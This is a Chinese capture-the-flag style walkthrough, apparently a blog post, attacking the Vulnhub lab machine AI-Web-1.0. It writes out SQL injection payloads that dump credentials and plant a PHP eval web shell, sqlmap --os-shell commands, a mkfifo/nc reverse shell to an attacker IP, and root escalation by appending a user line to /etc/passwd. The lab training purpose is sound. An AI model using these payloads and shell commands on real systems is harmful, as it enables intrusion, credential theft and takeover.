Vulnhub靶机:AI-Web-1.0

1.信息收集

使用命令netdiscover寻找靶机IP,发现靶机IP为192.168.1.137。

img

使用nmap对把目标机进行端口扫描,发现只开启了80端口。

img

访问80端口,发现页面只有一句话,没什么可利用的信息。

img

使用 dirsearch -u http://192.168.1.137/对网站目录进行扫描。

img

2.漏洞探测与利用

尝试访问/server-status/目录,提示无权访问。访问robots.txt文件,出现两个目录。

img

依次访问这两个目录,提示无权访问。

img

那么尝试访问/se3reTdir777/目录,出现一个提交框。

img

搜集更多信息,扫描这两个目录下是否还有其他目录,结果扫描出m3diNf0目录下有info.php,访问该文件,发现是phpinfo探针,存在信息泄露。

img

2.1 方法一:SQL注入

猜测可能存在注入,显示正常,存在注入。

img

  • 判断数据库类型,为MySQL server。

img

  • 判断列数,输入1' order by 3 -- -时,显示正确。换成order by 4,显示错误。所以这个数据库当前表的列数为3列。

img

  • 爆破当前数据库名和用户
-1' union select 1,database(),user() -- -

img

  • 爆破当前数据库的表名,可以看到有两个表:user、systemUser。
-1' union select 1,table_name,3 from information_schema.columns where table_schema='aiweb1' -- -

img

  • 分别爆破user和sysytemUser表的列名。
-1' union select 1,column_name,3 from information_schema.columns where table_name='user' -- -

img

-1' union select 1,column_name,3 from information_schema.columns where table_name='systemUser' -- -

img

  • 爆破user表列名的内容。
-1' union select id,firstName,lastName from user -- -

img

爆破systemUser表的内容。

-1' union select id,userName,password from systemUser -- -

img

2.1.1 尝试into outfile 写shell

首先需要获知网站的绝对路径,在phpinfo探针中找到网站绝对路径。

img

尝试在文件上传目录/se3reTdir777/uploads中写入一句话木马。

-1' union select 1,2,'<?php @eval($_POST[123]);?>' into outfile "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php" -- -

img

使用蚁剑成功连接。

img

2.1.2 反弹shell

  • 在kali开启监听:nv -lvvp 6666

  • 在蚁剑终端上nc反弹:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.128 6666 >/tmp/f

  • 成功反弹shell。

  • 为了方便,使用命令python -c 'import pty;pty.spawn("/bin/bash")'进入交互式shell。

img

img

2.2 方法二:sqlmap注入

使用burpsuite抓包,查看可用参数

img

使用sqlmap工具测试,显示存在SQL注入

sqlmap -u "http://192.168.1.137/se3reTdir777/" --data "uid=1&Operation=Submit"

img

爆所有数据库名:

sqlmap -u "http://192.168.1.137/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs

img

爆当前数据库的表名:

sqlmap -u "http://192.168.1.137/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables

img

爆两个表的所有字段:

sqlmap -u "http://192.168.1.137/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --columns --dump

img

sqlmap -u "http://192.168.1.137/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --columns --dump

img

2.2.1 尝试–os-shell 拿shell

尝试使用–os-shell拿shell,需要知道网站绝对路径,从phpinfo探针中找到路径,且upload目录具有写入权限/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

拿shell:

sqlmap -u "http://192.168.1.137/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell 

img

2.2.2 反弹shell

方法1

进入uploads目录查看,可以看到os-shell生成了两个文件,访问后发现是文件上传页面

img

img

上传一个php脚本,显示成功上传

img

img

在kali开启监听,并在浏览器访问上传的shell文件来建立会话连接

img

成功反弹shell

img

方法2

使用msf生成一个python脚本,监听9999端口

img

将脚本复制到os-shell中运行,攻击机开启监听

img

同样成功反弹shell

img

3.提权

  • 查询/etc/passwd文件属性,发现当前用户拥有读写权限。

img

  • 那么尝试在/etc/passwd文件中添加一个root权限的用户进行提权。
  • 创建一个hack用户,使用openssl工具加密密码:
openssl passwd -1 -salt hack hack

img

  • 整理生成的密码,生成/etc/passwd文件格式的字符串:
hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash
  • 使用命令将生成的字符串添加到/etc/passwd文件中
echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' >> etc/passwd

img

  • 登录用户,成功提权到root

img

4.总结归纳

  • 多目录扫描发现文件

  • SQL注入

  • 使用into outfile写入一句话木马,需要找到网站绝对路径,并且路径允许写入

  • Linux简单提权:修改/etc/passwd文件直接添加root身份的用户提权

  • echo命令写入文件内容

  • openssl工具的使用

  • sqlmap工具的使用

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

羊柳树

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值